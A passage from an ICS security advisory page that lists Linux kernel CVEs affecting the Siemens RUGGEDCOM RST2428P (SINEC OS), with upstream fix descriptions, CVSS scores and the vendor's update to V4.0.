<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23033</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: omap-dma: fix dma_pool resource leak in error paths The dma_pool created by dma_pool_create() is not destroyed when dma_async_device_register() or of_dma_controller_register() fails, causing a resource leak in the probe error paths. Add dma_pool_destroy() in both error paths to properly release the allocated dma_pool resource.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23033">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23037</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: can: etas_es58x: allow partial RX URB allocation to succeed When es58x_alloc_rx_urbs() fails to allocate the requested number of URBs but succeeds in allocating some, it returns an error code. This causes es58x_open() to return early, skipping the cleanup label 'free_urbs', which leads to the anchored URBs being leaked. As pointed out by maintainer Vincent Mailhol, the driver is designed to handle partial URB allocation gracefully. Therefore, partial allocation should not be treated as a fatal error. Modify es58x_alloc_rx_urbs() to return 0 if at least one URB has been allocated, restoring the intended behavior and preventing the leak in es58x_open().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23037">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23038</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pnfs/flexfiles: Fix memory leak in nfs4_ff_alloc_deviceid_node() In nfs4_ff_alloc_deviceid_node(), if the allocation for ds_versions fails, the function jumps to the out_scratch label without freeing the already allocated dsaddrs list, leading to a memory leak. Fix this by jumping to the out_err_drain_dsaddrs label, which properly frees the dsaddrs list before cleaning up other resources.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23038">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23111</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate() nft_map_catchall_activate() has an inverted element activity check compared to its non-catchall counterpart nft_mapelem_activate() and compared to what is logically required. nft_map_catchall_activate() is called from the abort path to re-activate catchall map elements that were deactivated during a failed transaction. It should skip elements that are already active (they don't need re-activation) and process elements that are inactive (they need to be restored). Instead, the current code does the opposite: it skips inactive elements and processes active ones. Compare the non-catchall activate callback, which is correct: nft_mapelem_activate(): if (nft_set_elem_active(ext, iter-&gt;genmask)) return 0; /* skip active, process inactive */ With the buggy catchall version: nft_map_catchall_activate(): if (!nft_set_elem_active(ext, genmask)) continue; /* skip inactive, process active */ The consequence is that when a DELSET operation is aborted, nft_setelem_data_activate() is never called for the catchall element. For NFT_GOTO verdict elements, this means nft_data_hold() is never called to restore the chain-&gt;use reference count. Each abort cycle permanently decrements chain-&gt;use. Once chain-&gt;use reaches zero, DELCHAIN succeeds and frees the chain while catchall verdict elements still reference it, resulting in a use-after-free. This is exploitable for local privilege escalation from an unprivileged user via user namespaces + nftables on distributions that enable CONFIG_USER_NS and CONFIG_NF_TABLES. Fix by removing the negation so the check matches nft_mapelem_activate(): skip active elements, process inactive ones.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23111">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23112</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: add bounds checks in nvmet_tcp_build_pdu_iovec nvmet_tcp_build_pdu_iovec() could walk past cmd-&gt;req.sg when a PDU length or offset exceeds sg_cnt and then use bogus sg-&gt;length/offset values, leading to _copy_to_iter() GPF/KASAN. Guard sg_idx, remaining entries, and sg-&gt;length/offset before building the bvec.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23112">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23220</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix infinite loop caused by next_smb2_rcv_hdr_off reset in error paths The problem occurs when a signed request fails smb2 signature verification check. In __process_request(), if check_sign_req() returns an error, set_smb2_rsp_status(work, STATUS_ACCESS_DENIED) is called. set_smb2_rsp_status() set work-&gt;next_smb2_rcv_hdr_off as zero. By resetting next_smb2_rcv_hdr_off to zero, the pointer to the next command in the chain is lost. Consequently, is_chained_smb2_message() continues to point to the same request header instead of advancing. If the header's NextCommand field is non-zero, the function returns true, causing __handle_ksmbd_work() to repeatedly process the same failed request in an infinite loop. This results in the kernel log being flooded with "bad smb2 signature" messages and high CPU usage. This patch fixes the issue by changing the return value from SERVER_HANDLER_CONTINUE to SERVER_HANDLER_ABORT. This ensures that the processing loop terminates immediately rather than attempting to continue from an invalidated offset.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23220">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23222</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: omap - Allocate OMAP_CRYPTO_FORCE_COPY scatterlists correctly The existing allocation of scatterlists in omap_crypto_copy_sg_lists() was allocating an array of scatterlist pointers, not scatterlist objects, resulting in a 4x too small allocation. Use sizeof(*new_sg) to get the correct object size.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23222">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23228</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb: server: fix leak of active_num_conn in ksmbd_tcp_new_connection() On kthread_run() failure in ksmbd_tcp_new_connection(), the transport is freed via free_transport(), which does not decrement active_num_conn, leaking this counter. Replace free_transport() with ksmbd_tcp_disconnect().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23228">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23229</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: virtio - Add spinlock protection with virtqueue notification When VM boots with one virtio-crypto PCI device and builtin backend, run openssl benchmark command with multiple processes, such as openssl speed -evp aes-128-cbc -engine afalg -seconds 10 -multi 32 openssl processes will hangup and there is error reported like this: virtio_crypto virtio0: dataq.0:id 3 is not a head! It seems that the data virtqueue need protection when it is handled for virtio done notification. If the spinlock protection is added in virtcrypto_done_task(), openssl benchmark with multiple processes works well.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23229">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/820.html">CWE-820 Missing Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23230</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb: client: split cached_fid bitfields to avoid shared-byte RMW races is_open, has_lease and on_list are stored in the same bitfield byte in struct cached_fid but are updated in different code paths that may run concurrently. Bitfield assignments generate byte read–modify–write operations (e.g. `orb $mask, addr` on x86_64), so updating one flag can restore stale values of the others. A possible interleaving is: CPU1: load old byte (has_lease=1, on_list=1) CPU2: clear both flags (store 0) CPU1: RMW store (old | IS_OPEN) -&gt; reintroduces cleared bits To avoid this class of races, convert these flags to separate bool fields.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23231</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix use-after-free in nf_tables_addchain() nf_tables_addchain() publishes the chain to table-&gt;chains via list_add_tail_rcu() (in nft_chain_add()) before registering hooks. If nf_tables_register_hook() then fails, the error path calls nft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy() with no RCU grace period in between. This creates two use-after-free conditions: 1) Control-plane: nf_tables_dump_chains() traverses table-&gt;chains under rcu_read_lock(). A concurrent dump can still be walking the chain when the error path frees it. 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly installs the IPv4 hook before IPv6 registration fails. Packets entering nft_do_chain() via the transient IPv4 hook can still be dereferencing chain-&gt;blob_gen_X when the error path frees the chain. Add synchronize_rcu() between nft_chain_del() and the chain destroy so that all RCU readers -- both dump threads and in-flight packet evaluation -- have finished before the chain is freed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23236</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fbdev: smscufx: properly copy ioctl memory to kernelspace The UFX_IOCTL_REPORT_DAMAGE ioctl does not properly copy data from userspace to kernelspace, and instead directly references the memory, which can cause problems if invalid data is passed from userspace. Fix this all up by correctly copying the memory before accessing it within the kernel.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23236">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23238</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: romfs: check sb_set_blocksize() return value romfs_fill_super() ignores the return value of sb_set_blocksize(), which can fail if the requested block size is incompatible with the block device's configuration. This can be triggered by setting a loop device's block size larger than PAGE_SIZE using ioctl(LOOP_SET_BLOCK_SIZE, 32768), then mounting a romfs filesystem on that device. When sb_set_blocksize(sb, ROMBSIZE) is called with ROMBSIZE=4096 but the device has logical_block_size=32768, bdev_validate_blocksize() fails because the requested size is smaller than the device's logical block size. sb_set_blocksize() returns 0 (failure), but romfs ignores this and continues mounting. The superblock's block size remains at the device's logical block size (32768). Later, when sb_bread() attempts I/O with this oversized block size, it triggers a kernel BUG in folio_set_bh(): kernel BUG at fs/buffer.c:1582! BUG_ON(size &gt; PAGE_SIZE); Fix by checking the return value of sb_set_blocksize() and failing the mount with -EINVAL if it returns 0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23238">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
